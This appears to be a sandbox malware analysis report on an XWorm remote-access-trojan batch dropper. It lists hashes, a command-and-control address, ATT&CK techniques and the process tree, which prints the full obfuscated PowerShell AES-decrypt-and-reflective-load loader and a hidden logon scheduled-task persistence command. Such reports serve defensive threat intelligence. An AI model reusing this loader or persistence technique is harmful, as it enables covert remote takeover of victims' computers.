xworm | 9c1a4e3a1c90d013a9465ab585ad7a9cfc378ebdbe77fc1548cb81c791e6914e

Analysis

max time kernel
92s
max time network
143s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
14/05/2024, 11:07

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General

Target

9c1a4e3a1c90d013a9465ab585ad7a9cfc378ebdbe77fc1548cb81c791e6914e.bat
Size

152KB
MD5

0b426e8571f8d3e437b7a42e9b8fd808
SHA1

986edba4c39be9edb552284dac555e2e95f68a4a
SHA256

9c1a4e3a1c90d013a9465ab585ad7a9cfc378ebdbe77fc1548cb81c791e6914e
SHA512

e2efb8ba96b4c11b6167f085d5545e7e4971850e3c57f76957b8a0b0e1896537d935d123de93c1ebfd3efab34139e9bf902911ba54f20ddffad21edeeb16b021
SSDEEP

3072:TXHtlYzFn8xKlZqwe64MpN9Q2cLNt0hcjhK7ZmVG/:rUB8gQMpvQ2Er0aG/

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

94.156.8.167:2020

Mutex

8sPZSP21r8KwS1LM

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/1292-51-0x0000023A4EEF0000-0x0000023A4EEFE000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
15	1292	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2604	powershell.exe
3580	powershell.exe
1292	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2604	powershell.exe
2604	powershell.exe
3580	powershell.exe
3580	powershell.exe
1292	powershell.exe
1292	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2604	powershell.exe
Token: SeDebugPrivilege	3580	powershell.exe
Token: SeIncreaseQuotaPrivilege	3580	powershell.exe
Token: SeSecurityPrivilege	3580	powershell.exe
Token: SeTakeOwnershipPrivilege	3580	powershell.exe
Token: SeLoadDriverPrivilege	3580	powershell.exe
Token: SeSystemProfilePrivilege	3580	powershell.exe
Token: SeSystemtimePrivilege	3580	powershell.exe
Token: SeProfSingleProcessPrivilege	3580	powershell.exe
Token: SeIncBasePriorityPrivilege	3580	powershell.exe
Token: SeCreatePagefilePrivilege	3580	powershell.exe
Token: SeBackupPrivilege	3580	powershell.exe
Token: SeRestorePrivilege	3580	powershell.exe
Token: SeShutdownPrivilege	3580	powershell.exe
Token: SeDebugPrivilege	3580	powershell.exe
Token: SeSystemEnvironmentPrivilege	3580	powershell.exe
Token: SeRemoteShutdownPrivilege	3580	powershell.exe
Token: SeUndockPrivilege	3580	powershell.exe
Token: SeManageVolumePrivilege	3580	powershell.exe
Token: 33	3580	powershell.exe
Token: 34	3580	powershell.exe
Token: 35	3580	powershell.exe
Token: 36	3580	powershell.exe
Token: SeIncreaseQuotaPrivilege	3580	powershell.exe
Token: SeSecurityPrivilege	3580	powershell.exe
Token: SeTakeOwnershipPrivilege	3580	powershell.exe
Token: SeLoadDriverPrivilege	3580	powershell.exe
Token: SeSystemProfilePrivilege	3580	powershell.exe
Token: SeSystemtimePrivilege	3580	powershell.exe
Token: SeProfSingleProcessPrivilege	3580	powershell.exe
Token: SeIncBasePriorityPrivilege	3580	powershell.exe
Token: SeCreatePagefilePrivilege	3580	powershell.exe
Token: SeBackupPrivilege	3580	powershell.exe
Token: SeRestorePrivilege	3580	powershell.exe
Token: SeShutdownPrivilege	3580	powershell.exe
Token: SeDebugPrivilege	3580	powershell.exe
Token: SeSystemEnvironmentPrivilege	3580	powershell.exe
Token: SeRemoteShutdownPrivilege	3580	powershell.exe
Token: SeUndockPrivilege	3580	powershell.exe
Token: SeManageVolumePrivilege	3580	powershell.exe
Token: 33	3580	powershell.exe
Token: 34	3580	powershell.exe
Token: 35	3580	powershell.exe
Token: 36	3580	powershell.exe
Token: SeIncreaseQuotaPrivilege	3580	powershell.exe
Token: SeSecurityPrivilege	3580	powershell.exe
Token: SeTakeOwnershipPrivilege	3580	powershell.exe
Token: SeLoadDriverPrivilege	3580	powershell.exe
Token: SeSystemProfilePrivilege	3580	powershell.exe
Token: SeSystemtimePrivilege	3580	powershell.exe
Token: SeProfSingleProcessPrivilege	3580	powershell.exe
Token: SeIncBasePriorityPrivilege	3580	powershell.exe
Token: SeCreatePagefilePrivilege	3580	powershell.exe
Token: SeBackupPrivilege	3580	powershell.exe
Token: SeRestorePrivilege	3580	powershell.exe
Token: SeShutdownPrivilege	3580	powershell.exe
Token: SeDebugPrivilege	3580	powershell.exe
Token: SeSystemEnvironmentPrivilege	3580	powershell.exe
Token: SeRemoteShutdownPrivilege	3580	powershell.exe
Token: SeUndockPrivilege	3580	powershell.exe
Token: SeManageVolumePrivilege	3580	powershell.exe
Token: 33	3580	powershell.exe
Token: 34	3580	powershell.exe
Token: 35	3580	powershell.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 940 wrote to memory of 3708	940	cmd.exe	86
PID 940 wrote to memory of 3708	940	cmd.exe	86
PID 940 wrote to memory of 2604	940	cmd.exe	87
PID 940 wrote to memory of 2604	940	cmd.exe	87
PID 2604 wrote to memory of 3580	2604	powershell.exe	90
PID 2604 wrote to memory of 3580	2604	powershell.exe	90
PID 2604 wrote to memory of 408	2604	powershell.exe	94
PID 2604 wrote to memory of 408	2604	powershell.exe	94
PID 408 wrote to memory of 840	408	WScript.exe	95
PID 408 wrote to memory of 840	408	WScript.exe	95
PID 840 wrote to memory of 64	840	cmd.exe	97
PID 840 wrote to memory of 64	840	cmd.exe	97
PID 840 wrote to memory of 1292	840	cmd.exe	98
PID 840 wrote to memory of 1292	840	cmd.exe	98

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\9c1a4e3a1c90d013a9465ab585ad7a9cfc378ebdbe77fc1548cb81c791e6914e.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:940
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j9v/MRsvo8rPIZTuYpVL9r5+b1tKh4/IvXdLJbSprpc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S2gRLww5OmjzwLPcS3ad8Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rcwOy=New-Object System.IO.MemoryStream(,$param_var); $TisVE=New-Object System.IO.MemoryStream; $XDooL=New-Object System.IO.Compression.GZipStream($rcwOy, [IO.Compression.CompressionMode]::Decompress); $XDooL.CopyTo($TisVE); $XDooL.Dispose(); $rcwOy.Dispose(); $TisVE.Dispose(); $TisVE.ToArray();}function execute_function($param_var,$param2_var){ $TXMac=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $KbKqR=$TXMac.EntryPoint; $KbKqR.Invoke($null, $param2_var);}$IXbeQ = 'C:\Users\Admin\AppData\Local\Temp\9c1a4e3a1c90d013a9465ab585ad7a9cfc378ebdbe77fc1548cb81c791e6914e.bat';$host.UI.RawUI.WindowTitle = $IXbeQ;$Ytldu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IXbeQ).Split([Environment]::NewLine);foreach ($jWeCV in $Ytldu) { if ($jWeCV.StartsWith('PpiliAyQziuRKPrYAOkn')) { $YHaeW=$jWeCV.Substring(20); break; }}$payloads_var=[string[]]$YHaeW.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
  2⤵
  PID:3708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2604
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_380_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_380.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3580
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_380.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:408
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_380.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:840
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j9v/MRsvo8rPIZTuYpVL9r5+b1tKh4/IvXdLJbSprpc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S2gRLww5OmjzwLPcS3ad8Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rcwOy=New-Object System.IO.MemoryStream(,$param_var); $TisVE=New-Object System.IO.MemoryStream; $XDooL=New-Object System.IO.Compression.GZipStream($rcwOy, [IO.Compression.CompressionMode]::Decompress); $XDooL.CopyTo($TisVE); $XDooL.Dispose(); $rcwOy.Dispose(); $TisVE.Dispose(); $TisVE.ToArray();}function execute_function($param_var,$param2_var){ $TXMac=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $KbKqR=$TXMac.EntryPoint; $KbKqR.Invoke($null, $param2_var);}$IXbeQ = 'C:\Users\Admin\AppData\Roaming\Windows_Log_380.bat';$host.UI.RawUI.WindowTitle = $IXbeQ;$Ytldu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IXbeQ).Split([Environment]::NewLine);foreach ($jWeCV in $Ytldu) { if ($jWeCV.StartsWith('PpiliAyQziuRKPrYAOkn')) { $YHaeW=$jWeCV.Substring(20); break; }}$payloads_var=[string[]]$YHaeW.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        5⤵
        
        PID:64
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1292

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
661739d384d9dfd807a089721202900b

SHA1
5b2c5d6a7122b4ce849dc98e79a7713038feac55

SHA256
70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

SHA512
81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
2KB

MD5
005bc2ef5a9d890fb2297be6a36f01c2

SHA1
0c52adee1316c54b0bfdc510c0963196e7ebb430

SHA256
342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d

SHA512
f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_trofjld2.cnc.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Windows_Log_380.bat

Filesize
152KB

MD5
0b426e8571f8d3e437b7a42e9b8fd808

SHA1
986edba4c39be9edb552284dac555e2e95f68a4a

SHA256
9c1a4e3a1c90d013a9465ab585ad7a9cfc378ebdbe77fc1548cb81c791e6914e

SHA512
e2efb8ba96b4c11b6167f085d5545e7e4971850e3c57f76957b8a0b0e1896537d935d123de93c1ebfd3efab34139e9bf902911ba54f20ddffad21edeeb16b021

Download Submit
C:\Users\Admin\AppData\Roaming\Windows_Log_380.vbs

Filesize
115B

MD5
1663de4ecfef3eb6a05d028eb59f0bd3

SHA1
b3f5b5708d28ffb1ffa2bb4147c84eea26ad39f4

SHA256
e585bd1998ca461751f877edff7876c0354e9e69e7e1c33137aedce5fb3ac3d7

SHA512
7f049dcc15380b62e44fb4301fa657b40a837dfdca53283caef3fcb22f9fc69374e897228d84b661c9bcd2349460177504308cdd40c16e27b9e2f1fbc5145f5a

Download Submit
memory/1292-51-0x0000023A4EEF0000-0x0000023A4EEFE000-memory.dmp

Filesize
56KB

Download
memory/2604-16-0x000001F2DF150000-0x000001F2DF16E000-memory.dmp

Filesize
120KB

Download
memory/2604-15-0x000001F2C6ED0000-0x000001F2C6ED8000-memory.dmp

Filesize
32KB

Download
memory/2604-0-0x00007FFEE96F3000-0x00007FFEE96F5000-memory.dmp

Filesize
8KB

Download
memory/2604-14-0x000001F2E12D0000-0x000001F2E1346000-memory.dmp

Filesize
472KB

Download
memory/2604-13-0x000001F2DF180000-0x000001F2DF1C4000-memory.dmp

Filesize
272KB

Download
memory/2604-12-0x00007FFEE96F0000-0x00007FFEEA1B1000-memory.dmp

Filesize
10.8MB

Download
memory/2604-11-0x00007FFEE96F0000-0x00007FFEEA1B1000-memory.dmp

Filesize
10.8MB

Download
memory/2604-50-0x00007FFEE96F0000-0x00007FFEEA1B1000-memory.dmp

Filesize
10.8MB

Download
memory/2604-2-0x000001F2DF100000-0x000001F2DF122000-memory.dmp

Filesize
136KB

Download
memory/3580-18-0x00007FFEE96F0000-0x00007FFEEA1B1000-memory.dmp

Filesize
10.8MB

Download
memory/3580-19-0x00007FFEE96F0000-0x00007FFEEA1B1000-memory.dmp

Filesize
10.8MB

Download
memory/3580-29-0x00007FFEE96F0000-0x00007FFEEA1B1000-memory.dmp

Filesize
10.8MB

Download
memory/3580-32-0x00007FFEE96F0000-0x00007FFEEA1B1000-memory.dmp

Filesize
10.8MB

Download